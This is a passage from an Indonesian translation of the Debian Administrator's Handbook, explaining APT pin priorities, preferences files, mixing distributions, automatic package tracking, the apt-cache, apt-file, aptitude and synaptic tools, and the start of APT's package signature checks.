Struktur ini membawa beberapa fleksibilitas untuk administrator mesin dan maintainer paket. Memang, administrator dapat dengan mudah memodifikasi konfigurasi perangkat lunak dengan menambahkan berkas siap-pakai dalam direktori tersebut tanpa perlu mengubah berkas yang ada. Maintainer paket menggunakan pendekatan yang sama ketika mereka perlu menyadur konfigurasi perangkat lunak lain untuk memastikan kebersamaan dengan milik mereka. Kebijakan Debian secara eksplisit melarang modifikasi berkas konfigurasi paket lain - hanya pengguna yang diperbolehkan melakukan ini. Ingat bahwa selama pembaharuan paket, pengguna dapat memilih versiberkas konfigurasi yang harus dipertahankan ketika modifikasi telah terdeteksi. Beberapa modifikasi eksternal pada berkas akan memicu permintaan tersebut, yang akan mengganggu administrator, yang tentu tidak mengubah apapun.

Tanpa direktori .d, tidak mungkin sebuah paket eksternal mengubah pengaturan program tanpa memodifikasi berkas konfigurasinya. Sebagai pengganti, itu harus meminta pengguna untuk melakukannya sendiri dan mencantumkan daftar operasi yang akan dilakukan di dalam berkas /usr/share/doc/paket/README.Debian.

Tergantung aplikasinya, direktori .d digunakan secara langsung atau diatur oleh skrip eksternal yang akan merangkai seluruh berkas untuk membuat berkas konfigurasinya sendiri. Penting untuk mengeksekusi skrip setelah beberapa perubahan pada direktori tersebut agar modifikasi terkini diambil untuk digunakan. Dengan cara yang sama, penting untuk bekerja secara langsung dalam berkas konfigurasi yang dibuat secara langsung, karena apapun akan hilang pada eksekusi skrip berikutnya. Metode yang diambil (direktori .d digunakan secara langsung atau sebuah berkas dihasilkan dari direktori tersebut) biasanya didikte oleh kendala implementasi, namun dalam kedua kasus menguntungkan pada istilah fleksibilitas konfigurasi lebih dari membuat untuk sebuah komplikasi kecil yang dibawakannya. Exim 4 server mail merupakan sebuah contoh metode menghasilkan berkas: ini dapat dikonfigurasi melalui beberapa berkas (/etc/exim4/conf.d/*) yang dirangkai ke dalam /var/lib/exim4/config.autogenerated oleh perintah update-exim4.conf.

6.2.5. Mengelola Prioritas Paket

Salah satu aspek yang paling penting dalam konfigurasi APT adalah mengelola prioritas asosiasi dengan setiap sumber paket. Misalnya, Anda mungkin ingin meluaskan satu distribusi dengan satunya atau dua paket terbaru dari Testing, Unstable atau Experimental. Ini memungkinkan untuk menetapkan prioritas setiap paket yang tersedia (paket yang sama dapat memiliki beberapa prioritas tergantung versinya atau distribusi yang menyediakannya). Prioritas ini akan memengaruhi perangai APT: untuk setiap paket, ini akan selalu memilih versi dengan prioritas tertinggi (kecuali jika versinya lebih tua dari yang terinstall dan jika prioritasnya kurang dari 1000).

APT mendefinisikan beberapa prioritas bawaan. Setiap versi paket terinstall memiliki prioritas 100. Versi tak-terinstall memiliki prioritas 500 secara bawaan, namun ini dapat melompat ke 990 jika ini merupakan rilis target (ditentukan dengan pilihan baris-perintah -t atau arahan konfigurasi APT::Default-Release.

Anda dapat memodifikasi prioritas dengan menambahkan entri pada dalam sebuah berkas di /etc/apt/preferences.d/ atau berkas /etc/apt/preferences dengan nama paket terdampak, versi mereka, asal mereka, dan prioritas barunya.

APT tidak akan pernah menginstall versi lebih lama sebuah paket (itulah, sebuah paket yang nomor versinya lebih rendah dari salah satu paket yang telah terinstall) kecuali jika prioritasnya lebih besar dari 1000 (atau itu diminta secara eksplisit oleh pengguna, lihat Bagian 6.2.2, “Instalasi dan Penghapusan”). APT akan selalu menginstall paket dengan prioritas tertinggi yang mengikuti batasan ini. Jika dua paket memiliki dua prioritas yang sama, APT akan menginstall yang terbaru (yang nomor versinya tertinggi). Jika dua paket versinya sama namun berbeda dalam konten mereka, APT akan menginstall versi yang tidak terinstall (aturan ini telah dibuat untuk mencakupi kasus sebuah pembaharuan paket tanpa peningkatan nomor revisinya, yang biasanya diperlukan).

Dalam istilah yang lebih konkret, paket yang prioritasnya

< 0

tidak akan pernah dipasang,

1..99

hanya akan diinstal jika tidak ada versi lain dari paket yang sudah diinstal,

100..499

hanya akan dipasang jika tidak ada versi lain yang lebih baru yang dipasang atau tersedia di distribusi lain,

500....989

hanya akan diinstal jika tidak ada versi yang lebih baru yang diinstal atau tersedia di distribusi target,

990..1000

akan diinstal kecuali jika versi yang diinstal lebih baru,

> 1000

akan selalu diinstal, bahkan jika memaksa APT untuk menurunkan ke versi yang lebih lama.

Ketika APT memeriksa /etc/apt/preferences dan /etc/apt/preferences.d/, pertama menangani entri yang paling spesifik (sering mengkhususkan paket yang diperhatikan), kemudian yang lebih generic (termasuk sebagai contoh seluruh paket sebuah distribusi). Jika beberapa entri generic ada, yang pertama ditemukan akan digunakan. Kriteria pemilihan yang tersedia termasuk nama paket dan sumber penyedianya. Setiap sumber paket ditentukan dengan informasi yang ada dalam berkas Release yang diunduh APT bersama dengan berkas Packages. Berkas ini menentukan asal (biasanya “Debian” untuk paket dari mirror resmi, namun dapat pula seseorang atau sebuah nama organisasi untuk repositori pihak ketiga). Ini juga memberikan nama distribusi (biasanya Stable, Testing, Unstable atau Experimental untuk distribusi standar yang disediakan oleh Debian) bersama dengan versinya (sebagai contoh 10 untuk Debian Buster). Mari lihat sintaksnya melalu studi kasus yang realistis dari mekanisme ini.

KASUS SPESIFIK Prioritas experimental

Jika Anda mendaftarkan Experimental dalam berkas sources.list Anda, paket yang sesuai hampir tidak akan pernah diinstall karena prioritas bawaan mereka adalah 1. Ini tentu saja sebuah kasus spesifik, didesain untuk menjaga pengguna dari kesalahan menginstall paket Experimental. Paket hanya dapat diinstall dengan mengetikkan aptitude install package/experimental — pengguna yang mengetikkan perintah ini hanya dapat berhati-hati terhadap resiko yang mereka ambil. Ini masih memungkinkan (melalui tidak direkomendasikan) untuk memerlakukan paket Experimental seperti distribusi lain tersebut dengan memberikannya prioritas 500. Hal ini dapat dilakukan dengan entri spesidik di /etc/apt/preferences:

Package: *

Pin: release a=experimental

Pin-Priority: 500

Mari anggap bahwa Anda hanya ingin menggunakan paket dari versi stable Debian. Yang disediakan dalam versi lain tidak boleh diinstall kecuali jika diminta secara eksplisit. Anda dapat menulis entri berikut dalam berkas /etc/apt/preferences:

Package: *

Pin: release a=stable

Pin-Priority: 900

Package: *

Pin: release o=Debian

Pin-Priority: -10

a=stable menentukan nama distribusi yang dipilih. o=Debian membatasi jangkauan ke paket yang berasal dari “Debian”.

Sekarang mari asumsikan bahwa Anda memiliki sebuah server dengan beberapa program lokal yang bergantung pada Perl versi 5.24 dan Anda ingin memastikan bahwa pembaharuan tidak akan menginstall versi selain itu. Anda dapat menggunakan entri ini:

Package: perl

Pin: version 5.24*

Pin-Priority: 1001

Untuk mendapatkan pemahaman yang lebih baik dari mekanisme prioritas dan properti distribusi atau repositori yang di-pin jangan ragu untuk mengeksekusi apt-cache policy untuk menampilkan prioritas bawaan yang berasosiasi dengan setiap sumber paket, atau apt-cache policy paket untuk menampilkan prioritas baku bagi setiap versi yang tersedia dan sumber dari sebuah paket seperti dijelaskan dalam TIP apt-cache policy.

Rujukan dokumentasi untuk berkas /etc/apt/preferences dan /etc/apt/preferences.d/ tersedia pada laman manual apt_preferences(5), yang dapat Anda tampilkan dengan man apt_preferences.

TIP Komentar di /etc/apt/preferences

Tidak ada sintaks resmi untuk menaruh komentar di berkas /etc/apt/preferences, namun beberapa penjelasan tekstual dapat disediakan dengan meletakkan satu atau beberapa field “Explanation” pada permulaan setiap entri:

Explanation: The package xserver-xorg-video-intel provided

Explanation: in experimental can be used safely

Package: xserver-xorg-video-intel

Pin: release a=experimental

Pin-Priority: 500

6.2.6. Bekerja dengan Beberapa Distribusi

apt menjadi semacam alat ajaib, digoda untuk mengambil paket yang datang dari distribusi lain. Misalnya, setelah menginstall sebuah sistem Stable, anda mungkin ingin untuk mencoba sebuah paket perangkat lunak yang tersedia di Testing atau Unstable tanpa terlalu banyak berbeda dari kondisi awal sistem.

Bahkan jika Anda akan sekali-kali menemukan masalah ketika mencampur paket dari distribusi yang berbeda, apt mengatur kebersamaan dengan baik dan membatasi resikonya secara efektif. Cara terbaik untuk melakukannya ialah dengan mendaftar seluruh distribusi dalam /etc/apt/sources.list ( beberapa orang selalu menaruh tiga distribusi, namun ingatlah bahwa Unstable diambil untuk pengguna berpengalaman) dan untuk menentukan referensi distribusi Anda dengan parameter APT::Default-Release (lihat Bagian 6.2.3, “Pembaharuan Sistem”).

Mari berandai-andai bahwa Stable merupakan referensi distribusi anda namun Testing dan Unstable juga terdaftar dalam berkas sources.list Anda. Dalam kasus ini, Anda dapat menggunakan apt install paket/testing untuk menginstall paket dari Testing. Jika instalasi gagal karena beberapa ketergantungan yang tidak dipenuhi, mari pecahkan ketergantungan tersebut dengan Testing dengan menambahkan parameter -t testing. Biasanya hal yang sama juga berlaku untuk Unstable.

Dalam situasi ini, upgrade (upgrade dan full-upgrade) dilakukan dengan Stable kecuali untuk paket yang telah diupgrade ke distribusi lain: paket tersebut akan mengikuti pembaharuan yang tersedia di distribusi lain. Kami akan menjelaskan perilaku ini dengan bantuan prioritas bawaan diatur oleh APT berikut. Jangan ragu untuk menggunakan apt-cache policy (lihat bilah tepi TIP apt-cache policy) untuk memverifikasi prioritas yang diberikan.

Semuanya berpusat pada fakta bahwa APT hanya memedulikan paket yang versinya lebih tinggi atau sama dengan yang terinstall (asumsikan bahwa /etc/apt/preferences tidak digunakan untuk memaksa prioritas yang lebih tinggi dari 1000 untuk beberapa paket).

Mari asumsikan bahwa Anda telah menginstall versi 1 dari sebuah paket dari Stable dan versi 2 dan 3 tersedia masing-masing dalam Testing dan Unstable. Versi terinstall memiliki prioritas 100 tetapi versi tersedia dalam Stable (sangat mirip) memiliki prioritas 990 (karena merupakan bagian dari rilis target). Paket dalam Testing dan Unstable memiliki prioritas 500 (prioritas bawaan untuk versi tak-terinstall). Pemenangnya ialah versi 1 tersebut dengan prioritas 990. Paket “tetap di Stable”.

Mari ambil contoh paket lain yang versi 2 telah terinstall dari Testing. Versi 1 tersedia di Stable dan versi 3 di Unstable. Versi 1 (prioritas 990 - kurang dari 1000) diabaikan karena kurang dari versi yang terinstall. Ini hanya meninggalkan versi 2 dan 3, keduanya prioritas 500. Berhadapan dengan alternatif ini, APT memilih versi terbaru, salah satu dari Unstable. Jika Anda tidak ingin sebuah paket terinstall dari Testing untuk migrasi ke Unstable, Anda harus menerapkan sebuah prioritas kurang dari 500 (490 misalnya) ke paket yang datang dari Unstable. Anda dapat memodifikasi /etc/apt/preferences untuk efek ini:

Package: *

Pin: release a=unstable

Pin-Priority: 490

6.2.7. Pelacakan Otomatis Paket Terinstall

Salah satu fungsi esensial dari apt adalah melacak paket terinstall hanya melalui ketergantungannya. Paket ini disebut “otomatis”, dan sering menyertakan pustaka.

Dengan informasi ini, ketika paket dihapus, manajer paket dapat menghitung sebuah daftar paket otomatis yang tidak lagi diperlukan (karena tidak ada paket “terinstall manual” yang bergantung padanya). apt-get autoremove atau apt autoremove akan menyingkirkan paket-paket tersebut. aptitude tidak memiliki perintah ini: karena dia menghapusnya secara otomatis segera ketika mereka teridentifikasi. Dalam semua kasus, perkakas menampilkan pesan yang jelas berisi daftar paket yang terdampak.

Ini merupakan kebiasaan yang baik untuk menandai sebagai otomatis beberapa paket yang tidak Anda perlukan secara langsung jari mereka secara otomatis terhapus ketika mereka tak lagi diperlukan. apt-mark auto paket akan menandai paket yang diberikan secara otomatis di mana apt-mark manual paket melakukan sebaliknya. aptitude markauto dan aptitude unmarkauto bekerja dengan cara yang sama walaupun mereka menawarkan fitur yang lebih untuk mendandai beberapa paket pada saat yang sama (lihat Bagian 6.5.1, “aptitude”). Antarmuka interaktif berbasis-konsol dari aptitude juga membuatnya mudah untuk meninjau “automatic flag” pada banyak paket.

Orang mungkin ingin mengetahui mengapa sebuah paket terinstall secara otomatis ada pada sistem. Untuk mendapatkan informasi ini dari baris perintah, Anda dapat menggunakan aptitude why paket (apt dan apt-get tidak memiliki fitur yang serupa):

$ aptitude why python-debian

i   aptitude         Suggests apt-xapian-index

p   apt-xapian-index Depends  python-debian (>= 0.1.14)

ALTERNATIVE deborphan dan debfoster

Pada hari-hari dimana apt, apt-get, dan aptitude tidak dapat melacak paket otomatis, ada dua utilitas yang memroduksi daftar paket yang tidak diperlukan: deborphan dan debfoster. Keduanya masih bisa berguna.

deborphan memindai bagian libs dan oldlibs (bila tanpa instruksi tambahan) secara baku mencari paket yang telah terinstall dan tidak ada paket lain yang bergantung padanya. Daftar yang dihasilkan kemudian dapat disajikan sebagai dasar untuk membuang paket yang tidak diperlukan.

debfoster memiliki pendekatan yang lebih rumit, sangat mirip dengan APT: ini memelihara sebuah daftar paket yang telah terinstall secara eksplisit, dan mengingat paket apa yang benar-benar diperlukan antara setiap invokasi. Jika paket baru muncul pada sistem dan jika debfoster tidak mengetahuinya sebagai paket yang diperlukan, mereka akan muncul pada layar bersama dengan sebuah daftar ketergantungannya. Program ini kemudian menawarkan sebuah pilihan: hapus paket (mungkin bersama dengan paket yang bergantung dengannya), tandai sebagai diperlukan secara eksplisit, atau abaikan sementara.

6.3. Perintah apt-cache

Perintah apt-cache dapat menampilkan banyak informasi yang tersimpan di basisdata internal APT. Informasi ini semacam singgahan karena dikumpulkan dari daftar sumber yang berbeda di berkas sources.list. Hal ini terjadi selama operasi apt update.

KOSAKATA Cache

Sebuah cache adalah sistem penyimpanan sementara yang digunakan untuk memercepat akses data yang sering dilakukan ketika metode akses yang biasa mahal (kebijakan-performa). Konsep ini dapat diterapkan pada banyak situasi dan pada skala yang berbedda, dari inti mikroprosesor hingga sistem penyimpanan yang besar.

Dalam kasus APT, referensi berkas Packages yang tersimpan pada mirror Debian. Itulah, ini akan sangat tidak efektif untuk melalui jaringan pada setiap pencarian yang kita mungkin ingin lakukan dalam basisdata paket yang tersedia. Inilah alasannya mengapa APT menyimpan salinan berkas tersebut (dalam /var/lib/apt/lists/) dan pencarian dapat dilakukan dengan berkas lokal tersebut. Sama halnya, /var/cache/apt/archives/ berisi sebuah cache paket yang telah diunduh untuk menghindari mengunduhnya lagi jika Anda perlu menginstall ulang lagi setelah penghapusan.

Di sisi lain, apt update wajib dijalankan secara teratur untuk memperbarui singgahan. Jika tidak, hasil pencarian paket Anda akan selalu melewatkan pemutakhiran terbaru yang didistribusikan oleh mirror Debian.

Perintah apt-cache dapat melakukan pencarian berdasarkan kata-kunci dengan apt-cache search katakunci. Dapat pula menampilkan header versi paket yang tersedia dengan apt-cache show paket. Perintah ini menyediakan deskripsi paket, ketergantungannya, nama maintainernya, dll. Catat bahwa apt search, apt show, aptitude search, dan aptitude show bekerja dengan cara yang sama.

ALTERNATIF axi-cache

apt-cache search merupakan peralatan yang sangat mendasar, pada dasarnya mengimplementasikan grep pada deskripsi paket. Seringkali mengembalikan terlalu banyak hasil atau tidak satu pun ketika Anda menyertakan terlalu banyak katakunci.

axi-cache search term, di sisi lain, menyediakan hasil yang lebih baik, diurutkan berdasarkan kesesuainnya. Ini menggunakan mesin pencari Xapian dan merupakan bagian dari paket apt-xapian-index yang mengindeks seluruh informasi paket (dan lebih, seperti berkas .desktop dari seluruh paket Debian). Dia tahu tentang tag (lihat bilah tepi LEBIH JAUH Field Tag) dan menghasilkan hasil dalam hitungan milidetik.

$ axi-cache search package use::searching

100 results found.

Results 1-20:

100% packagesearch - GUI for searching packages and viewing package information

99% apt-utils - package management related utility programs

98% whohas - query multiple distributions' package archives

98% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,available} and Packages

97% apt-file - search for files within Debian packages (command-line interface)

[..]

90% wajig - unified package management front-end for Debian

More terms: debtags debian paket dpkg search pakete tools

More tags: role::program interface::commandline works-with::software:package suite::debian admin::package-management scope::utility network::client

`axi-cache more' will give more results

Beberapa fitur lebih jarang digunakan. Misalnya, apt-cache policy menampilkan prioritas sumber paket sebagaimana untuk paket secara individual. Contoh lainnya adalah apt-cache dumpavail yang menampilkan header seluruh versi tersedia dari seluruh paket. apt-cache pkgnames menampilkan daftar seluruh paket yang muncul setidaknya sekali dalam cache.

TIP apt-cache policy

Perintah apt-cache policy menampilkan prioritas pin dan properti distribusi dari setiap sumber paket seperti yang dijelaskan dalam Bagian 6.2.5, “Mengelola Prioritas Paket”. Ini juga dapat menunjukkan prioritas pin untuk semua versi dan sumber paket yang tersedia. Untuk contoh sources.list yang digunakan dalam Contoh 6.2, “Berkas /etc/apt/sources.list untuk pengguna Debian Stable” dan APT::Default-Release diatur ke "buster", keluarannya akan terlihat seperti ini:

$ apt-cache policy

Package files:

100 /var/lib/dpkg/status

release a=now

100 https://deb.debian.org/debian buster-backports/contrib amd64 Packages

release o=Debian Backports,a=buster-backports,n=buster-backports,l=Debian Backports,c=contrib,b=amd64

origin deb.debian.org

100 https://deb.debian.org/debian buster-backports/main amd64 Packages

release o=Debian Backports,a=buster-backports,n=buster-backports,l=Debian Backports,c=main,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian buster/non-free amd64 Packages

release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=non-free,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian buster/contrib amd64 Packages

release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=contrib,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian buster/main amd64 Packages

release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=main,b=amd64

origin deb.debian.org

990 http://security.debian.org buster/updates/main amd64 Packages

release v=10,o=Debian,a=stable,n=buster,l=Debian-Security,c=main,b=amd64

origin security.debian.org

apt-cache policy juga dapat menunjukkan prioritas pin untuk semua versi dan sumber paket tertentu yang tersedia.

$ apt-cache policy iptables

iptables:

Installed: 1.8.2-4

Candidate: 1.8.2-4

Version table:

1.8.3-2~bpo10+1 100

100 https://deb.debian.org/debian buster-backports/main amd64 Packages

*** 1.8.2-4 990

990 https://deb.debian.org/debian buster/main amd64 Packages

100 /var/lib/dpkg/status

Meskipun ada versi yang lebih baru dari iptables di repositori buster-backports, APT tidak akan menginstalnya secara otomatis berdasarkan prioritas. Seseorang harus menggunakan apt install iptables/buster-backports atau menambahkan prioritas pin yang lebih tinggi ke /etc/apt/preferences.d/iptables:

Package: iptables

Pin: release o=Debian Backports, a=buster-backports

Pin-Priority: 1001

6.4. The apt-file Command

Kadang-kadang kita merujuk ke berkas atau perintah dan Anda mungkin bertanya-tanya, di mana paket itu akan ditemukan. Untungnya repositori Debian tidak hanya berisi informasi tentang semua paket biner yang disediakan, tetapi juga semua berkas yang dikirim bersama mereka. Informasi ini disimpan dalam berkas bernama Contents-arch.gz dan Contents-udeb-arch.gz. Informasi ini tidak diunduh secara otomatis oleh APT. Sebaliknya perlu perintah apt-file update (dari paket bernama serupa) untuk mengambil isi dari semua sumber paket yang disebutkan dalam /etc/apt/sources.list. Untuk memperbarui basisdata secara mingguan, entri berikut dapat ditambahkan ke /etc/crontab jika nyaman.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

Setelah basisdata diperbarui, perintah apt-file search pola akan mencantumkan semua paket, yang memuat nama berkas atau path yang memuat pola.

$ apt-file search bin/axi-cache

apt-xapian-index: /usr/bin/axi-cache

Perintah apt-file list paket akan mencantumkan semua berkas yang dikirim dengan paket sebagai gantinya.

TIP Melihat daftar isi paket dan mencari berkas milik paket

Mirip dengan apt-file list perintah dpkg -L paket mencantumkan semua berkas, tetapi hanya untuk paket yang diinstal. Untuk menemukan sebuah berkas lokal milik paket mana, gunakan dpkg -S berkas (lihat Bagian 5.4.3, “Melakukan Queri ke Basisdata dpkg dan Memeriksa Berkas .deb”). Untuk mencantumkan semua berkas lokal yang tidak termasuk dalam paket yang diinstal, Anda mungkin ingin melihat paket cruft atau cruft-ng.

6.5. Frontends: aptitude, synaptic

APT adalah program C++ yang kode utamanya bercokol di pustaka bersama (shared library) libapt-pkg. Menggunakan pustaka bersama memfasilitasi pembuatan antarmuka pengguna (front-end), karena kode yang ada di pustaka dapat dengan mudah digunakan kembali. Sejarahnya, apt-get hanya didesain sebagai front-end uji untuk libapt-pkg namun kesuksesannya cenderung mengaburkan fakta ini.

6.5.1. aptitude

aptitude merupakan program interaktif yang dapat digunakan dalam mode semi-grafis di konsol. Anda dapat menjelajah daftar paket terinstall dan tersedia, mencari seluruh informasi yant tersedia, dan memilih paket untuk diinstall atau dihapus. Program ini didesain secara spesifik untuk digunakan oleh administrator, jadi perilaku bawaannya dirancang agar lebih cerdas dari apt-get, dan antarmukanya lebih mudah untuk dipahami.

Gambar 6.1. Manajer paket aptitude

Ketika dimulai, aptitude menampilkan daftar paket yang diurutkan berkasarkan kondisi (terinstall, tak-terinstall, atau terinstall namun tidak tersedia di mirror - bagian lain menampilkan tugas, paket virtual, dan paket baru yang baru muncul di mirror). Untuk memfasilitasi penjelajahan tematik, tampilan lain tersedia. Dalam semua kasus, aptitude menampilkan sebuah daftar kombinasi kategori dan paket pada layar. Kategori diatur melalui struktur pohon, yang cabangnya masing-masing dapat dibuka atau ditutup dengan tombol Enter, [ dan ]. + harus digunakan untuk menandai paket untuk diinstall, - menandainya untuk penghapusan dan _ untuk mem-purge-nya (catat bahwa kunci ini juga dapat digunakan untuk kategori, dalam hal ini aksi yang sesuai akan diterapkan pada seluruh paket kategori tersebut). u memerbarui daftar paket tersedia dan Shift+u memersiapkan upgrade sistem secara global. g berganti ke tampilan ringkasan perubahan yang diminta (dan mengetik g lagi akan menerapkan perubahan), q menutup tampilan kini. Jika Anda pada tampilan awal, ini akan menutup secara efektif aptitude.

DOKUMENTASI aptitude

Bagian ini tidak mencakup rincian penggunanaan aptitude. Ini sekedar fokus memberikan survival kit untuk menggunakannya. Tapi itu terdokumentasi dengan baik dan kami menyarankan Anda untuk menggunakan manual lengkap yang tersedia pada paket aptitude-doc-en (lihat /usr/share/doc/aptitude/html/en/index.html) atau pada https://www.debian.org/doc/manuals/aptitude/.

Untuk mencari sebuah paket, Anda dapat mengetik / diikuti oleh pola pencarian. Pola ini cocok dengan nama paket, namun dapat pula diterapkan ke deskripsi (jika diawali dengan ~d), untuk bagian (dengan ~s), atau karakter lain yang dirinci di dokumentasi. Pola yang sama dapat menyaring daftar paket yang ditampilkan: ketik tombol l (sebagaimana limit) dan masukkan pola.

Mengelola “bendera otomatis” paket Debian (lihat Bagian 6.2.7, “Pelacakan Otomatis Paket Terinstall”) ialah mudah dengan aptitude. Ini memungkinkan untuk melihat daftar paket terinstall dan menandai paket sebagai otomatis dengan Shift+m atau untuk menghapus tanda dengan tombol m. “Paket otomatis” ditampilkan dengan “A” pada daftar paket. Fitur ini juga menawarkan cara mudah untuk menvisualkan paket yang digunakan pada sebuah mesin, tanpa seluruh pustaka dan ketergantungan yang tidak Anda pedulikan. Pola yang berhubungan yang dapat digunakan dengan l (untuk mengaktifkan mode penyaringan) adalah ~i!~M. Ini menandakan bahwa Anda hanya ingin melihat paket terinstall (~i) tidak ditandai sebagai otomatis (!~M).

ALAT Menggunakan aptitude pada antarmuka baris-perintah

Kebanyakan fitur aptitude dapat diakses melalui antarmuka yang interaktif sebagaimana melalui baris-perintah. Baris-perintah ini akan nampak lebih familiar untuk pengguna biasa dari apt-get dan apt-cache.

Fitur lanjutan aptitude juga tersedia pada baris-perintah. Anda dapat menggunakan pola pencarian paket yang sama sebagaimana pada versi interaktif. Misalnya, jika Anda ingin membersihkan daftar paket “terinstall manual”, dan jika anda mengetahui bahwa tidak ada program lokal yang memerlukan pustaka tertentu atau modul Perl, Anda dapat menandai paket yang sesai sebagai otomatis sengan perintah tunggal:

# aptitude markauto '~slibs|~sperl'

Di sini, Anda dapat dengan jelas melihat kekuatan sistem pola pencarian aptitude, yang mengaktifkan pencarian instan seluruh paket dalam bagian libs dan perl.

Berhati-hatilah, jika beberapa paket ditandai sebagai otomatis dan jika tidak ada paket lain yang bergantung padanya, mereka akan segera dihapus (setelah permintaan konfirmasi).

6.5.1.1. Mengelola Rekomendasi, Saran dan Tugas

Fitur lain yang menarik dari aptitude adalah fakta bahwa ini menghargai rekomendasi antara paket ketika masih memberikan pilihan pada pengguna untuk tidak menginstallnya berdasarkan kasus per kasus. Misalnya, paket gnome merekomendasikan transmission-gtk (di antara lainnya). Ketika Anda memilih sebelumnya untuk instalasi, yang sesudahnya juga akan dipilih (ditandai sebagai otomatis jika belum terinstall pada sistem). Mengetik g akan membuatnya jelas: transmission-gtk muncul pada layar ringkasan aksi tertunda pada daftar paket yang terinstall secara otomatis untuk memuaskan ketergantungan. Akan tetapi, Anda dapat memutuskan untuk tidak menginstallnya dengan tidak memilihnya sebelum operasi konfirmasi.

Catat bahwa fitur pelacakan rekomendasi ini tidak berlaku untuk upgrade. Misalnya, jika versi baru gnome merekomendasikan paket yang tidak direkomendasikan sebelumnya, paket tidak akan ditandai untuk instalasi. Akan tetapi, ini akan didaftar pada layar upgrade agar administrator masih dapat memilihnya untuk diinstall.

Saran antara paket juga berlaku, namun dalam gaya yang sesuai dengan status spesifik mereka. Misalnya, karena gnome menyarankan empathy, belakangan akan ditampilkan pada layar ringkasan aksi tertunda (pada bagian paket disarankan oleh paket lain). Cara ini, kelihatan dan administrator dapat memutuskan apakan mengambil saran atau tidak. Karena ini hanya sebuah saran dan bukan ketergantungan atau sebuah rekomendasi, paket tidak akan terpilih secara otomatis - pemilihannya memerlukan intervensi manual dari pengguna (nah, paket tidak akan ditandai sebagai otomatis).

Dalam semangat yang sama, ingatlah bahwa aptitude membuat konsept menggunaan kosept tugas yang cerdas. Karena tugas ditampilkan sebagai kategori pada layar daftar paket, Anda dapat memilih tugas penuh untuk instalasi atau penghapusan, atau menjelajah daftar paket yang disertakan pada tugas untuk memilih subset yang lebih kecil.

6.5.1.2. Algoritma Pemecahan Masalah yang Lebih Baik

Untuk menyimpulkan bagian ini, mari catat bahwa aptitude memiliki algoritma yang lebih rumit dibandingkan apt-get ketika menyelesaikan situasi yang sulit. Ketika seperangkat aksi diperlukan dan ketika aksi gabungan ini mengarah pada sistem yang tidak koheren, aptitude mengevaluasi beberapa skenario yang mungkin dan menyajikannya dalam urutan relevansi yang berkurang. Akan tetapi, algoritma ini bukan contoh yang gagal. Untungnya selalu ada kemungkinan untuk memilih secara manual aksi yang dilakukan. Ketika aksi yang sedang terpilih mengarah ke kontradiksi, bagian atas layar menunjukkan jumlah paket yang “rusak” (dan Anda dapat navigasi secara langsung ke paket tersebut dengan menekan b). Ini kemudian mungkin untuk membangun solusi secara manual untuk masalah yang ditemukan. Khususnya, Anda dapat mendapatkan akses ke versi yang berbeda dengan memilih paket dengan Enter. Jika pilihan versi ini memecahkan masalah, Anda tidak perlu ragu untuk menggunakan fungsi tersebut. Ketika jumlah paket yang rusah berkurang ke nol, Anda dapa menuju layar ringkasan aksi tertunda dengan aman untuk pemeriksaan sebelum Anda menerapkannya.

CATATAN log aptitude

Seperti dpkg, aptitude menyimpan jejak aksi yang dieksekusi dalam berkas lognya (/var/log/aptitude). Karena kedua perintah tersebut bekerja pada level yang berbeda, Anda tidak dapat menemukan informasi yang sama pada berkas log masing-masing. Ketika dpkg me-log seluruh operasi yang dieksekusi pada paket secara individual langkah demi langkah, aptitude memberikan gambaran yang lebih luas dari operasi level-tinggi seperti sebuah sistem-wide upgrade.

Waspadalah, berkas log ini hanya berisi ringkasan operasi yang dilakukan oleh aptitude. Jika front-end lainnya (bahkan dpkg sendiri) jarang digunakan, kemudian log aptitude hanya akan berisi sebagian gambaran operasi, jadi Anda tidak dapat memercayakannya untuk membangun sejarah sistem yang dipercaya.

6.5.2. synaptic

synaptic merupakan manajet paket grafis untuk Debian yang fiturnya bersih dan antarmuka grafisnya efisien berbasis GTK+/GNOME. Banyak penyaring yang siap-digunakan memberikan akses cepat ke paket baru yang tersedia, paket terinstall, paket yang dapat diupgrade, paket usang, dan seterusnya. Jika Anda menjelajah melalui daftar ini, Anda dapat memilih operasi untuk dilakukan pada paket (install, upgrade, hapus, purge); operasi ini tidak dilakukan segera, namun letakkkan dalam daftar tugas. Klik tunggal pada sebuah tombol kemudian validasi operasi, dan mereka dilakukan sekaligus.

Gambar 6.2. synaptic manajer paket

6.6. Pemeriksaan Otentikasi Paket

Keamanan merupakan hal yang sangat penting untuk administrator Falcot Corp. Maka, mereka perlu memastikan baha mereka hanya menginstall paket yang dijamin datang dari Debian dengan tanpa pemadatan. Seorang cracker komputer dapat mencoba untuk menambahkan kode jahat pada selain paket sah. Semacam paket, jika terinstall, dapat melakukan apapun yang didesain cracker untuk melakukannya, termasuk misalnya membongkar password atau informasi rahasia. Untuk menghindari resiko ini, Debian menyediakan sebuah bukti-padat segel untuk menjamin - pada saat instalasi - bahwa sebuah paket datang dari maintainer resminya dan belum dimodifikasi oleh pihak ketiga.

Segel bekerja dengan rantai kriptografi hash dan sebuah tanda-tangan dan dijelaskan secara rinci dalam apt-secure(8). Mulai dari Debian 10 Buster berkas yang ditandatangani adalah berkas InRelease, disediakan oleh mirror Debian. Juga ada berkas warisan bernama Release. Keduanya berisi daftar berkas Packages (termasuk bentuk terkompresi mereka, Packages.gz dam Packages.xz, dan versi yang meningkat), bersama dengan hash SHA256 mereka, yang memastikan bahwa berkas belum dirusak. Berkas Packages ini berisi daftar paket Debian yang tersedia pada mirror, bersama dengan hash mereka, yang memastikan bahwa isi paket itu sendiri juga belum berubah. Perbedaan antara InRelease dan Release adalah bahwa yang pertama ditandatangani secara kriptografis secara in-line, sedangkan yang terakhir memberikan tanda tangan terpisah dalam bentuk berkas Release.gpg.

CATATAN Masa depan dari Release dan Release.gpg

Mungkin dengan rilis Debian 11 Bullseye APT akan menghapus dukungan untuk berkas warisan Release dan Release.gpg, yang digunakan sejak APT 0.6, yang memperkenalkan dukungan untuk otentikasi arsip.

